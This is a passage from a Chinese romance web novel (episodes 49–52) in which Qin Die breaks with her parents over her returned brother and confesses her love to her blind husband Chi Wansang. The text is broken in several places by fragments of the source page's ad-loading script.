惠熙这时走到秦叠身边,说:“小回啊,你有多少钱能拿出来的,帮帮你哥吧,帮帮我们吧。当初我们因为太难过,怕照顾不过来你,差点把你送走,可是一直舍不得啊。” 池晚桑听到这话,眼角跳了跳,正要说话,秦叠冷哼一声:“不要再用你们每一句舍不得来表示自己有多伟大了好吗?你每提一次,都让我想起来差点被抛弃,我都感到恶心。” “你们到底知道你们宝贝儿子是怎么丢的吗?” 秦叠冷笑一声,“不如问问他,是不是自己跑的。” “呵。”秦东柏无所谓地笑了笑,将头偏开,“对,我就是不想每天下课都跟着去厂里吃灰,不想因为鸡毛蒜皮的事就被打得皮开肉绽,不想看见我和你硬生生再长成他们的模样。” 那时候秦东柏学习不错,但家里爸妈没文化,对这方面并不上心。看到书里光怪陆离的大城市,形态各异的人,他想去看看。 一边学校里强调学习改变命运,一边在家里又被拉着做重复无意义的劳动,关键是没人告诉他,什么时候可以结束。 他怕了,在得知妹妹差点不用去读高中的时候,他退缩了。往这个圈的外面退去。 他们本就读书晚,周围有朋友选择翘学去城市里打工,他也想去闯闯,虽然现在看起来异想天开,但在当时那个孩子眼睛里,一切皆有可能,只要不待在这里。 秦时的声音有些颤抖,艰难地扶着膝盖站起来,“你说什么?” “我说,”秦东柏不介意重复一遍,一字一顿地,“我,不想成为,第二个,你。” 至于走后的日子有多苦,没有人知道,在场已经没有人能够让他无所顾忌地分享过去的伤疤。 这是他自己作的,他认了。 在狗嘴里抢食,差点被人.贩.子迷晕,在桥洞下睡觉,在乞丐碗里偷钱,还有他又是如何遇见现在的父母,如何长成了这幅样子…… 他不知道不离开的话,会不会好点,也不想去美化未曾涉足的路。 他现在他妈的就是个人渣。 他需要钱来维持生活,再低水平,那也是他的生活。 “所以,给钱吗?”秦东柏没有太大耐心沉迷在过往的伤痛里,听着老两口哭哭啼啼地挽回,啧了一声,“没钱就走了,又没人逼你们。” 惠熙望向秦叠:“小回。” 秦叠冷笑一声,问:“这些年我一直有个问题,如果当时不见的是我,你们会找这么久吗?” 她知道找孩子的过程是有多么的艰难,比电视里撑死十几个小时的镜头,更大的辛酸掩埋不住。所以秦时他们无法像一个普通的家长一样尽责,她可以理解。 她接受了,但是过不去。 惠熙没有立即回答,不知道是犹豫,还是觉得多此一举。 秦叠苦笑着叹了口气,“还有,我叫秦叠。不叫秦柔桑,更不是什么秦东回。我这次回来,一是看看你们儿子回不回来,二是想说……” 她莫名哽咽了下,深深吸了口气,再缓缓吐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 出一口浊气,“我也不想做你们女儿了,尽孝的职责我会尽到,每个月抚养费一分不会少。说实话秦东柏丢了后,我也不太算你们养大的了。” “外婆已经走了。” 说完这话,她拉上池晚桑的手就往外走。 没有人留她。 捏着池晚桑的手有些用力而发紧,秦叠嗓子里逸出一丝呜咽,细细的,像是谁打开了老旧的木门。 还好池晚桑早就习惯了这么快的走法,突然一下被人拉着疾步走,还有真有些不适应。他刚呼出一口气,为差点崴一脚而幸免于难。 秦叠闷闷说:“不用安慰我。” 池晚桑反手将她捏紧,走快一步,笑着说:“你也不用回头。” 秦叠工作狂的属性在这种极端情绪起伏下,显露无疑,回去后,她将这些天欠的工作都给补了回来,还拉着池晚桑振作精神又训练了一阵。 中途收到工作以来第一笔工资并没有改变她不以物喜不以己悲的状态,池晚桑觉得她有些应激反应,亢奋过度了。 顺手将录音室的电给断了。 “你干嘛?”秦叠取下耳机,有些怔怔的,对这个不PUA自己的老板感到痛心。 池晚桑让开门口挡住的光,“劳逸结合。” 他将头往外偏了偏,“出来休息会儿。” “那你给我念念剧本吧,这些天落下的东西太多了,有点消化不完。” 秦叠按照最高指示平躺在沙发上,眼睛滴溜溜看着池晚桑,虽然这招没什么用,但他还是答应了。 池晚桑的声音很好听,就像余庆说的,每天有这么一个人给自己讲睡前故事,该有多好啊。可惜他们要离婚了。 真正离开后,秦叠就一身轻了,再无束缚,想干什么就干什么,她想,赚够了钱,读完研,她就去旅行。 不是走马观花,打卡人流量的那种,在云南的小村子里住上两天和当地人一起采蘑菇,在贵州的苗寨里和阿婆一起做衣服。还想去海边住几天,每天就搬个凳子在沙滩上吹海风,什么也不干。她还想去新疆看看壮观的西北,去布达拉宫朝拜神圣的宫殿…… “你在听吗?”池晚桑忽然问她。 “什么?”秦叠咧了咧嘴,“在啊在的。” “唉,”池晚桑叹了口气,忽然问:“那个,池向榆长什么样子?” “嗯?”秦叠没想到他会突然问这个问题,也是,失明时池向榆还只是个高中生,一晃眼都这么多年了。 秦叠想了想,其实她没太看清,当时只顾着生气了,不过池晚桑好像很想知道,她发挥了点想象力。 “眼睛挺大,双眼皮,脸有点圆,有点嘟嘴,也不知道是什么时候养出来的公子脾气……诶,我今天打了你弟,你不会报复我吧?” 池晚桑笑着把手机放下,取下耳机,“你说的他怎么和小时候一模一样,没变的吗?” “放心吧,我公事公办,从不报复。” 虽然池晚桑说了没关系,但不担保这祖宗不会自己找上门来。 要说秦叠这次没咋看清楚他的长相,下回可就连脸上有几颗痣都记住了。 50. episode50 聆镜这阵子业务飞起,林桐和陈藻两颗蒙尘明珠也趁着这段天光狠狠出圈了一把。 工作室的流动量明显增大了,以前几个人从早到晚窝都不挪一下,凑四个人在牌桌上斗地主能斗一天。现在这个要去赶场子,那个要去开围读会,一忙起来,照面都打不上。 秦叠作为略小的小透明,拆开一包薯片,吧咂嘴嚼着,等着捡谁忙不过来的活。 “你你你!”沈桉羽脚踩风火轮路过她,伸出颤抖的食指指了指她,有种恨铁不成钢的可恨。 “你,唉!”陈藻瞥了她一眼,想说什么,摇着头又匆匆出门。 “秦叠,帮我看一下这段有没有问题!”林桐从二楼探出半个身子,对她喊,终于有个能说完整一句话的人了。 秦叠上楼时,瞥了一眼池晚桑的办公室,门虚掩着,他在里面都坐了一上午了,不知道在干什么。 林桐姐也只是谨慎,生怕在基础上犯下错误,秦叠没发挥到什么用处,又端起薯片。果然在职读研是她最佳的选择,现在那些同学们在学校也百无聊赖,一个想不开就要出门当牛马。 同门群里发来消息,说是要聚餐认识一下新生。说认识谈不上,她原本就是本校升上去的,和大部分师兄师姐都见过,走过过场而已。 “你……”苏木经过她,许是羡慕她的悠闲,回想起自己混吃等死的美好生活,心里不平衡了下,“事情做完了吗,就这么肆无忌惮地躺着?” “做完了。”秦叠点点头,昨天太过过疯狂,高效高质量完成。 “林桐姐给你的活呢?” “搞定了。” “薯片我尝一口,什么味儿的?” “黄瓜?”秦叠鄙夷地看了他一眼,丝毫没有刚来的时候那种见着偶像,放屁都是香的盲目崇拜了。 秦叠将手里的东西递过去,顺带问了句:“哥你事情都忙完了?” “嘿,怎么哪壶不开提哪壶。个没眼力见的,没看我在休息吗?”苏木差点捶胸顿足,像是街上被当场羞辱的大家闺秀,差点掩面哭泣,以袖遮面。 被工作逼疯了,秦叠盯着他往后挪了挪,谁叫他一休息就来找自己茬的。 苏木走了,池晚桑犹豫了下,从办公室出来,“你……” …… “说。”秦叠耐心告急。 “我要出差两天,这几天你得自己做饭,我写了些注意事项,发给你。” 秦叠打开池晚桑传来的讯息,他却像是有什么被读文章羞耻症,说完就走了。 文件字数不少,足足有七八页。开头四个大字“熟了再吃”。 秦叠大致浏览了一遍,池晚桑文件做的精巧,也不知道他学这些用了多久时间。说是食谱,其实关于怎么做饭的内容只有最后一页。 前面洋洋洒洒几大篇,全是防止她自己把自己毒死的温馨提示。 关于怎么判定食物是否熟了,怎么判定火候,食品安全问题,关于方便面等方便食品的警告,还有食物储藏问题,像是提醒智障一样,事无巨细。 得亏她这个智障还是个识字的。 池晚桑走的这几天,她第一回做饭,忘记盯着锅,里面的汤汁沸腾出来浇灭了燃气,差点泄漏,危及到生命危险后。秦叠秉持着替一整栋家人们安全的考量,没再开火。 为了防止留味儿,她一般就在工作室把外卖给解决了再回去,却没想到沈桉羽的声音悠悠在旁边响起,不过不是对她说的话。 “池老板?提前回来了?不是说下午吗?” 秦叠一个激灵差点把碗里的汤给泼出去。 回来了? 池晚桑站在门口,只看得清一个剪影,不过气质不太像。 嘶,还矮了点。 “找谁?”秦叠立马反应过来,还算冷静地放下手里的一次性碗筷。 沈桉羽听她这语气,又仔细回过头瞧了瞧门边那人,嗐了一声,“不是池老板啊,这小孩长得还挺像。” 池向榆听见“小孩”两个字,脸上有些挂不住,干咳了两声,食指不偏不倚指向秦叠。 “找你。” 秦叠对着镜子咧了咧嘴,确保没有什么菜挂在上面才跟着他出去,“你哥不在。” “我找你。”池向榆带了一副墨镜,像是故意模仿大人模样,捏着一边镜腿,学着电视剧的样子扯下来,潇洒,但是。 镜腿断了…… “哎呀,”秦叠叹了口气,“摘眼镜不能这样摘,不是变形就会,断。” “你为什么和池晚桑结婚,这么多年没联系,忽然冒出来,想干什么?”池向榆说得很不客气。 秦叠冷笑一声,“你什么意思?”顿了顿又问:“今天不用上课吗?” 池向榆把一些不合时宜的话给憋回去,咽了咽说:“他够惨了,你要是有别的想法,别搞他。” 在池向榆印象里,哥哥小时候总是不动神色地跟在秦叠身后,像是苍蝇找到了合胃口的垃圾堆,整日都围着转。 如果秦叠发现了这一点,动点什么心思,小瞎子就要倒霉了。 他又清了清嗓子,“池晚桑还真是不孝顺哈,看着你和家里断绝关系,一点腔不帮。” “你怎么知道?” “我没走呗,就想看看你们要干什么。”池向榆说得毫无愧疚感。 “他以前眼睛经常疼得厉害,外婆还带他去北京做过几次手术,却只能缓解疼痛。”池向榆说,“他睡眠不好,因为分不清白天黑夜,常常日夜颠倒,整个人憔悴得很。” ——他刚失明的时候你又在哪儿? 他这像是在回应。赌气般的。 “你……”秦叠有些怔怔的,看着眼前明显像是专科宿舍楼下抽烟打架的小孩,一本正经地说这些,不知道怎么反应。 “你搬家之后,我才跟着妈妈走的,知道一点。”池向榆揉了揉鼻子,被这样充满慈爱的目光看着有些不好意思,“你知道他喜欢你吧?有点良心就不要这样利用他。” “嗯?”秦叠松开抱在胸前的双手,“你说什么?” “他没给你吗?那封信。”池向榆也有些奇怪,“不会吧,你没发现他对你有意思?高三的时候给你做饭,高二的时候赢的那个望远镜,高一的时候像个傻子一样以为你流个鼻血就要死了……” “我都看出来了……” “池向榆!”池晚桑的声音从他们身后响起,带着些怒气。 他果然还是提前到了。 池晚桑眉头就没舒展开,跟着岫白走过来,凭空带起一阵凉意,“你找她干什么?” “没干什么,聊聊。“< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>秦叠还沉浸在刚才得知的消息中,有些不可思议地看向池晚桑,她一直以为是这个人太冷漠了,没想到是自己太迟钝吗? 无意间,两脚互相绊了一下,离她最近的池向榆拦住她的手。 秦叠猛地抬头,对上那双眼睛,颜色比池晚桑瞳眸浅些,似曾相识。 不过也不奇怪,小时候毕竟也是见过的。 “谢谢。”她将碎发挽到脑后,将将站定,带着池晚桑往里走,“没说什么,进去吧。” 刚进门,池晚桑果然眉头一皱,连秦叠也发现这里不太通风,外卖的味道太足了,“那个,我下午有师门聚餐。” 池晚桑挑了挑眉,望向她这边,“行,我有空。” ??????? 谁问你有没有空了? 师兄也说了可以带朋友过去,避免气氛太尴尬,秦叠说:“……行,吧。那一起去。” 沈桉羽从沙发那边抬起头,“哟,真老板回来了,怎么这么快?” 池晚桑淡淡笑了笑,开玩笑道:“效率高,没办法。” 池晚桑跟着去也挺好,秦叠看了一眼旁边坐着的人,眉目俊朗,神色淡然。 嗯,挺有面儿。 他们坐在靠边的位置,有人进来需要不断起身让座,这就是新生的地位,没办法。 倒是苦了池晚桑,刚站起来就不小心把筷子给碰倒在地上。 “在我脚边,我捡。”池晚桑拉住正要弯腰的秦叠。 秦叠自然地把手挡在桌角的位置,等他起身。 “哟,师妹这是带了自家人来见面啊。”进来的男生看见这默契的场景,慨叹了一番,“师妹竟然都脱单了,不知道今晚有多少良家夫男伤心呐。” 池晚桑这时起身,高出他一个头,让男生心里有些怵,他只是笑了笑,“朋友而已。” 朋友?既然是朋友那你为什么要来? 来这里宣告是秦叠的朋友,她也不是什么名门望族,对他来说有什么意义? 秦叠因为“朋友”这两字,心中略微有些不满,直到后来有人惊讶池晚桑看不见的时候,她也只是无语地嗯了一声。 “啊,看不见了。” 像是在应和说今天的菜点的好。 池晚桑这根麻花到底想干什么,秦叠甚至想剖开麻花心,重新抻直,看看他脑子里怎么比自己丰富。 旁边天津大麻花打了个哈欠,点开手机。 是余庆的消息,“姐夫,上次你说的错了,应该是……”语音被池晚桑敏捷地掐掉,若无其事地又端起桌上的茶杯喝了口,掩饰他莫名的局促。 啧,秦叠越看他,越气不打一处来。 他这两天在外地应该也没怎么睡好,难怪之前秦叠在客厅但凡有些动静都能把他惊醒,敢情是根本没睡着,在演呢。 不是今天池向榆告诉她,她还真不知道入睡对盲人来说有这么困难。 也是,睁眼闭眼天都是黑的,心跟死了一样,睡不睡也没什么意义了。 秦叠心一横,眼一闭,回去后在衣柜里翻找半天,终于找到一两条和之前黎叔描述有些共同点的裙子。 她看了眼镜中的自己,手拿着一本故事集,朝着池晚桑的房门叹了口气。 “池晚桑,我这也算是为你牺牲色相一回了。” 51. episode51 “笃笃笃。” “请进。” 池向榆说他分不清白天黑夜,外婆就强迫他分清,那时候每天跟着老年人的作息,早上五.六点起床,晚上七.八点睡觉,完全顺应大自然的规律。池向榆觉得他就差端一杯绿茶,坐在公园象棋桌边,就能成功进化了。 实在睡不着,外婆就会给他念睡前故事,最后再上大招把数学课录音放一边,不行也得行。 秦叠捏了捏拳头,不知道是因为紧张还是什么原因。 “怎么了?”池晚桑问。 秦叠说:“没什么,睡前想看些故事,想着顺便便宜你一下,给你听听。” “我这嗓子可是要花钱听的。” 池晚桑被她逗笑了,竟习惯性往旁边挪了挪,“谢了……” “了”字还没说完,他眉头一皱,秦叠纱质裙摆扫过他胳膊,将将覆盖在上面。秦叠捏了捏嗓子,学着小女生的声音刚念了没两句。 “停。”池晚桑问,“你嗓子怎么了?” “你不喜欢这种声音吗?”秦叠保持礼貌性微笑。 谁家睡前故事用这么欲的声音啊? 池晚桑笑着叹了口气,“谁说的?” 秦叠没打算出卖队友,他又忽然明了,“……黎叔是吧。” “快穿件外套,我又看不见,何必呢,天凉了。” 秦叠有些难堪,半晌他又提议,“今晚好像天气好,想不想看星星?” 总是能这样把对方的尴尬完全改过去,秦叠嗯了一声,不置可否。 在她回屋加了件衣服的时候,脑子里忽然心电急转,想起那个镜头好像被她弄坏了,整个人僵在镜子前。 报应啊。 “那个……”她正想阻止,已经晚了,池晚桑熟练地架起,竟有些高兴地朝她招了招手。 行吧,再演演。 不过,她刚把眼睛凑上去,就发现了不对劲,镜头已经换过了,她有些尴尬地问:“这个……” 池晚桑像是心有灵犀般,淡淡道:“修好了,没啥大问题。” 然后盘腿坐在旁边,像个摆弄新玩具的小孩子,压抑不住激动晃来晃去,脸上始终挂着笑,“秋天了,亮星不太多,星空可能有些暗淡。你看看能不能在北边找到一个看见形状像M的仙后座。” 秦叠好奇地跟着他的指示在这片孤寂的秋季夜空找寻,果然,今天天气好,她看见一个W挂在东北角,原来这叫仙后座吗,她有些激动道:“看到了!” 池晚桑嘴角勾了勾,“那你看,它东方,应该还有个英仙座,形状像个‘入’字,靠近仙后还有一个漂亮的双星团,其中一颗β星,西方人把它想象成美杜莎的头,因为忽明忽暗,阿拉伯人又说它是不安静的鬼神。” 秦叠展颜笑了笑,“可能是单纯想引起我们的注意吧。” 星空很大,显得人格外渺小,秦叠跟着池晚桑的指示一个一个地发掘头顶的那些故事,激动的时候差点又把望远镜给打下来。 池晚桑双手枕在脑后,闭着眼睛,仰倒在地,看着他的那片星河,不论春夏秋冬,从不寂寥,永远星月闪烁,银河倒挂。 南方星空他们还看见了宝瓶座,这个星座里并没有亮星,但仔细看可以看到一个美少年,手握宝瓶,两条水注倾斜而下,落入一个形状像鱼的星座嘴里。 很久以前,他们就幻想过在某处山坡上,他们平躺在草地,头顶是无垠的星河流动,风拂过草地,吹起额间的碎发,世界安静得仿佛只剩两个人。 中途,美好的幻想被秦叠肚子的抗议声给击碎。聚餐实在不是能吃饱饭的地方。 于是池晚桑炒了一份蛋炒饭,两人像小朋友一样拿着勺子你一勺我一勺。 黎叔的作息总是能让这些年轻人叹为观止,这个时间打电话过来,不是讨骂来了还能干什么。 秦叠心里默念三声抱歉,歉疚地看着池晚桑将电话接起。 对面本来是听广播听到心潮澎湃,难以入睡,要找人满足一下内心的分享欲,没想到撞到枪口上了。 被池晚桑有条有理地说到无路可退。偏人家半个脏话没有,逻辑清晰,价值观正确,憋屈的黎叔翻着白眼嗯嗯嗯了几声,兴致乏味地挂了电话。 旁边岫白被饭香不情不愿地叫醒,一脸哀怨地看着两人又是看星星,又是吃炒饭,脸黑得不能再黑,从鼻孔里粗粗地哼出两口气。 秦叠闻声转过身去,就看见岫白蹲在门口,唯一反光的眼睛在黑暗里格外亮眼,因为一眨不眨,甚至有些瘆人。 “岫白能吃吗?”她问,忽然有了种吃独食的愧疚感。 池晚桑说:“不能,里面放调料了。这老狗也睡不着了嘛?”他往门边“望了望”,那黑狗呜咽一声,埋下头去,继续趴着。 “它之前跟的人不是我。”池晚桑将勺子轻放在桌上,“那个人有回出门没带它,走得太急,掉进下水道里了。” “井盖没盖,周边的防护措施没到位。盲杖竟然也没探到危险,就这样没了。” 他说,岫白刚来的时候就很尽责,一开始有些懒懒的,不想动,池晚桑觉得它是怀念旧的主人,也没强迫它,只要平日出行能稍微依靠它一点,他就很满足了。 岫白是他养的第一只狗,更是第一只导盲犬,他很珍惜。 像和老朋友一样相处,池晚桑本身也不是愿意四处走动的人,两个伤心的灵魂就逐渐在这里住了下来。 秦叠听了听,说:“它呼吸好像有点重。” 池晚桑点点头,“嗯,是一条老狗了。” “岫白会比我提前退休,所以你看我有的时候不带着它,我是怕太依赖它,最后会不习惯。” 他朝门口的方向又看了眼,“它也累了,帮我们做了这么多,我能照顾着,就照顾着吧。” 他好像一直都明白,周围的人或物,待不长久,从第一次见到岫白,第一次遇见秦叠,他都在心里告诉自己,不过是过客而已。 既然都聊到这儿了,池晚桑认真地说:“秦叠,你准备好了,还是离开吧,这里不适合你。” “你把所有人都安排好了,你呢?”秦叠问,她看着“美杜莎”的方向,眼睛里也忽明忽暗的。 “今天池向榆来找我,你知道他对我说了什么吗?” 池晚桑沉默着,因为她这句话,眼中似乎又有了波澜,他在期盼些什么,又在逃避些什么。 “他说?” 秦叠放下手里的望远镜,“他说,你喜欢我。” “我怎么从来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不知道。我只知道你高考结束那年,我向你表白,你没回应,然后我高考结束,你就再也不见了。” 池晚桑喉头滚动,哂笑了下,眼里却满是落寞,“他胡乱说的,不用理他。” 秦叠扳正他的肩膀,不让他又撇开头,“池晚桑,你不是说,我要学会求助,不能遇见什么事情都吞在胃里,这样有一天终究会消化不了的。” “你呢?你的求助信号呢?怎么忘了发了?” 他没想过美杜莎忽明忽暗,也许是受够了星空的寂寥,她在忏悔自己的罪过,希望得到神的原谅。她向人间发出信号,因为那里太空虚了,她渴望得到回应。 但他却甘于沉在海底,这里不需要求助,只用闭上眼睛,慢慢地感受生命的流逝,然后,他能做的,就是等待,等待生命的尽头。 他们将自己从绝望的边缘拉回来,他们只是接受了。 “池晚桑。”秦叠定定看着他,今晚夜色很亮,他的脸苍白而劲秀,唇色也是淡淡的。 秦叠只感觉非这样做不可了,又经历了这么多事,她不想再丝毫不挽回,就删掉所有联系方式。 她只感觉自己胸口扑通扑通跳个不停,像远处的巨人在擂鼓,召唤着她听从自己的内心。 “我喜欢你。” 她说。 “很喜欢你。” “你看不见了一样喜欢你。” “甚至更喜欢你。” 秦叠吸入常常一口气,缓缓地说:“我们可以一起听演唱会,我闭着眼睛在你的世界里听;一起躺在草坪上看星星,你指给我看,我描述给你听;一起去找那个胆小的泉,告诉它我们的秘密;一起去海边,我当海绵宝宝,你是派来保护我的星星……” “这样,我再问你一次,还离婚吗?” 她的鼻息很近,因为过于激动,温热的气息不匀地扑打在他脸上,扇动的睫毛一抖一抖的。 小男孩说她身上有橘子皮的味道,清甜的气息;黎叔说她是个心善的姑娘,老是帮他做了很多事;苏木说她是个卷王,在配音间一呆就是一天…… 他闻到了淡淡的甜香。 小时候她吃草莓蛋糕,老是会沾在嘴角,秦东柏没好气地用手给她擦掉,白皙的皮肤上会留下一道红痕,她却只是笑着; 下暴雨那天晚上,他看见一个小姑娘想冲出去收衣服,门一开,窗台边栀子花的味道袭来,混杂在雨水的潮湿里,不曾退减; 夏天她老是爱和自己比谁吃西瓜吃的快,小女孩大半张脸上是淡红色西瓜汁,笑容和榆树外的阳光一样灿烂…… 他想尝一尝。 她到底是什么味道的。 行动就这样快过脑子,理智在她面前一次次溃不成军。 他知道她离得很近,近到他一抬手就能摸到她的脸,眉毛,眼睛,鼻子…… 他想知道她长什么样。 笼罩着忧愁的密密睫毛垂下,他仰起头,准确地含住那片温热的薄唇。 蛋炒饭的味道。 橘子水的清香。 他虔诚地抬起头,祈求从裂缝里照射进来的这丝光明。 眼角滚下一滴热泪,潮湿的,温暖的。 他以为这辈子,这双眼睛,不会再流泪了。 52. episode52 他闭上眼睛,仰着头,祈求光的眷顾。 白皙的脖颈顺着下颌线形成一个好看的弧度,清辉点点洒落,照的他皮肤更加惨白,瘦弱。 他喉结滚了滚。 淡粉的薄唇微张,像是渴望甘霖的植株,轻轻地。 含住。 低垂的睫毛还是在触碰的一刻颤抖了瞬,如蝶翼轻扇。 蜻蜓点水的一个吻,柔柔覆上,却又害怕太过冒犯,立马缩回去。 秦叠本就微微曲着身子扶着池晚桑,只是想要一个回答,此刻眼神却有些涣散。 她愣住了。 “对不起对不起。”池晚桑眼睛忽然失神地睁开,开始手忙脚乱地在身边摸索,嘴里一个劲地道歉,“我太冲动了,对不起,真的对不起……” 他只是觉得,如果自己没有失明,该有多好。 秦叠没有见过他如此慌乱,仿佛刚才被强吻的人是他。 池晚桑慌乱间将沙发旁小圆桌上的餐巾纸盒给扫倒在地,清脆一声响,他又不断重复着道歉,起身还想继续摸索。 秦叠知道他在找什么,盲杖明明就在沙发扶手旁放着,他明显是慌了阵脚,失了心神了。她将盲杖递过去。 池晚桑碰到的时候楞了瞬,急急敲击着盲杖往外走。 “你要去哪儿?”她问,想拉住池晚桑的胳膊,却被他挥开,他意识到自己的莽撞后又是道歉。 “我糊涂了,我去醒一下脑子。” 秦叠知道他心里有个坎过不去,拿上外套也跟了出去,远远地跟着。 池晚桑沿着墙走,因为太急,磕绊了好几下,如果他能看得见,现在应该是在跑吧。 因为气愤自己的无能,盲杖敲击地面的声音越发重了,像是在发泄什么。 他明知自己不该这样做,和那导演又有什么分别,满足自己脑子里一时冲动,丝毫不顾忌后果。 可他只是想抱她,想吻她,想告诉她,他一直都很想她。 池晚桑呼吸急促得难以平复,脑子里青筋一个劲儿蹦跶,下一秒头就要炸了。 他做了最糊涂的事,不该藕断丝连,不该有任何留恋。 他恨自己难以抑制的欲望,恨自己卑微地祈求她的施舍,恶劣地利用她的怜悯。 以往的绅士风度和泰然自持一击即碎,他像个逃兵,慌不择路。 池晚桑,你个懦夫。 你到底在怕什么? 他走得不算慢,也许因为是熟悉的路线,秦叠在后面也得快步走才能跟上。入秋后,天有些凉,晚上街道没人管,落叶洒落好些,随着汽车呼啸而过又翻卷而起。 秦叠将手揣在兜里,缩了缩脖子,快步跟上。 早些年的时候,她一直以为爸妈对秦东柏的寻找是无用之功,西西弗斯一遍遍将石头往山上推,然后一遍遍滚落,除了砸着自己脚背,碎石块划伤脸侧皮肤,山不会变矮,石头不会变小。 他们加入了很多寻子的组织,里头口号一个比一个喊得响亮,即使身处黑暗,还是会一遍遍坚信社会上还是有很多好人。 但她知道,他们这么说,只是因为没办法了。 她会习惯性看社会新闻,街口断手断脚的小乞丐总是会揪着她的心,她想,那不会是秦东柏吧。 每一次的心惊胆战都让她觉得徒劳,心像萎缩了一样,经不起半点激烈跳动。 这些年她跟着经历了太多次空欢喜和一落千丈,她知道有些东西,再怎么努力,也抓不住。 秦东柏的回来印证了这一点。 而每次池晚桑都会用自己的经历来开解她,让她觉得那仿佛不是伤疤,而是阳光下已经愈合的勋章,遍地都是野花。 但池晚桑一次次的退缩,犹豫,纠结,摇摆不定,让她仿佛看见他摆在自己面前的伤疤还在流血。 而他却笑着覆上花瓣,说:“你看,没什么的。” 他们走得并不远,弯弯绕绕,到了河滩边。 夜里除了月色,没有别的光线,岸边大大小小的碎石很多,一不留神就容易摔倒,秦叠对他喊了声:“你要去哪儿?” 池晚桑终于止住脚步,回头脸上隐约有两道水痕,反射着不明亮的光。他的声音带着无奈和颤抖,“秦叠,原谅我,我不能……” 他孤身站在河边,身旁粼粼波光闪烁,脚下黑石起伏不平,显得孤寂又悲怆。 “我是喜欢你。”他说,被秋风凉意清醒了几分,微微叹了口气,“录取通知出来那天我去了你家,但是已经看不见了,正好你也搬家了。” 他面朝着对岸仰头微笑着,“好像就是天意吧。你不能困在清远,不想一直和他们找秦东柏。同样,我也不能把你栓在身边,不是吗?不论是什么理由,即使你自愿。” “这不公平。” “我想,如果我死了,但没人知道,那在别人眼里,我好像还有很美好的未来。”他干笑了笑,“你能就这样离开,假装我在很远的地方过着很好的生活吗?” 他并没有给秦叠回答的机会,又继续道,似是不吐不快,这根线必须斩断了,不能有人把生命浪费在自己身上。他没想到只是几年的合约婚姻能发展成如今的样子,说一句造化弄人并不过分。 “我也尝试过。”他说。 “努力睁眼,跟着外婆找来的偏方,吃生鸡蛋,把各种草药砸碎了敷在眼睛上,那个味道像是从牛马胃里反刍出来的呕吐物,腥臭,令人作呕。” 他笑了笑,“可是没用。” “外婆说,就算身处黑暗,还能够点起一盏灯,照在别人往来的路上,就算是长大了。她很坚强,更见不得我自暴自弃,所以你明白吗?你可以来黑暗里稍微躲避,我会提着一盏灯,照在你离开的路上……这条路有我一个人守着就够了。” 秦叠向他走近,清秀的脸上却血色全无,“你怎么知道这条离开的路一定是出去的路?你就没想过把我送走后,前面就再没有光了吗?” 池晚桑怔了怔,再次开口有些犹豫和迟疑了,还是固执着说:“你早就认出了我,但一直没开口,不是顾忌着我的自尊吗?虽然你们一直都尽量把我当正常人对待,但我也知道你们的顾虑,你们大可不必这么小心翼翼的。” 夜风拂过,不再是夏日的微凉,而多了几分萧瑟,却让脑子更加清醒。他将手伸进兜里,从里面拿出一个熟悉的东西。 正是秦叠之前给他的戒指,说是很适合他,他在夜里抚摸了上万遍,终究没能戴上。 然后,他伸手朝河水的地方丢了过去。 他苦笑着,“放手吧,秦叠。” “不值得。” 又是不值得,为什么每个人都在看似好心地替她着想,值不值得。就算是无意义的一件事,她想去做,不行吗? 为什么要附加给她这些价值,她本就活得一无所有,从来不去考虑值不值得。 那棵窗台的含羞草枯萎了,她会花千倍百倍的精力去照 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 料,但若是窗台漏雨了,她只会翻身找个干净的地方继续睡觉。 她自己开心不就好了吗。 “说完了吗?”秦叠的声音异常平静,她知道这种情况下,声嘶力竭除了增加氛围效果外,毫无用处。而且池晚桑一开始不就说了嘛,成为一个配音演员,要学会保护自己的嗓子。 听了他这些话,秦叠发现他们真的错过了对方很多。那些难堪的,隐忍的,被刻意隐藏,就连自己也快忘记的东西,让他们身上都包裹上了厚厚一层屏障。 “那你听听我的想法吧。”秦叠展开双手保持平衡,歪歪扭扭走到他旁边,找了个稍大的石头,说,“坐。” “其实,差一步,我可能不会在高中遇见你。”她抱着膝盖,将自己裹紧,“你也知道我们那个小地方的初中生毕业后读高中从来不是首选,对我们家更是这样。所以初二的时候,当班主任说我可以争取一下去清远市里念高中的名额时,我妈闹到了校长办公室。” 池晚桑从没听她提起过这些,安静地听着。 “没钱可以有助学贷款,我毕业了自己还,可她苦衷就是有很多,我到现在都没理解她,给自己编织那一个个牢笼到底是为了什么。” “在他们眼里,我读高中。”秦叠摇了摇头,“似乎不值得。” 她长舒一口气,语气尽量轻快些,“后来啊,初三的时候,我得了异食癖,作业本被我啃得稀烂,有一天晕倒在班里,到医院查出来是铅中毒。那时他们正急着找秦东柏,他们看我的眼神,像是……我是多麻烦多大的累赘一样。” “但学校因此,帮我争取到了助学金,我虽然反应比以前慢了些,但是我觉得好像还值得啊。” 月亮从云层里羞羞怯怯露出半个头,像是不愿打扰他们,洒下的光温和而暗淡。 秦叠想起往事,噗嗤一声:“遇见你那天,我也挺意外的,说来好笑,我没告诉你我是秦柔桑的原因,其实是怕大家觉得我走后门。” “因为他们都叫你老板,结果没想到管事的另有其人,池老板就是个名头。” “后来……后来就是单纯的利用你,哪有想的那么多,我可没有池老板您心思重。” 秦叠想了想,说:“这,我倒没考虑值不值得,脑子一热,就做了。所以,你现在是发现被骗婚之后,恼羞成怒吗?” 池晚桑被她这番说辞给气笑了,“秦叠,不要强词夺理。” “是你不要钻牛角尖。所以……” “有的话……”池晚桑打断她,表情严肃,棕褐色的瞳仁像是投入了一颗石子,终于在波澜不惊中唤起一丝涟漪,他声音有些嘶哑,“有的话,说上三遍,我就真的信了。” “大学的时候,我第一次失明后点外卖,我在小哥到之前,提前了四十分钟出发,一路上我走得很忐忑,既要担心会不会有横冲直撞的自行车,还要分散精力跟着导航找到正确的取外卖地点。” “那一路,我走了很久,我就想,这些路我得一个人先会走,遇见你了,能带着你走,而不是被照顾的一方。” “我记得那天的太阳很好。” “秦叠。”他问,“今晚的月亮,亮吗?” 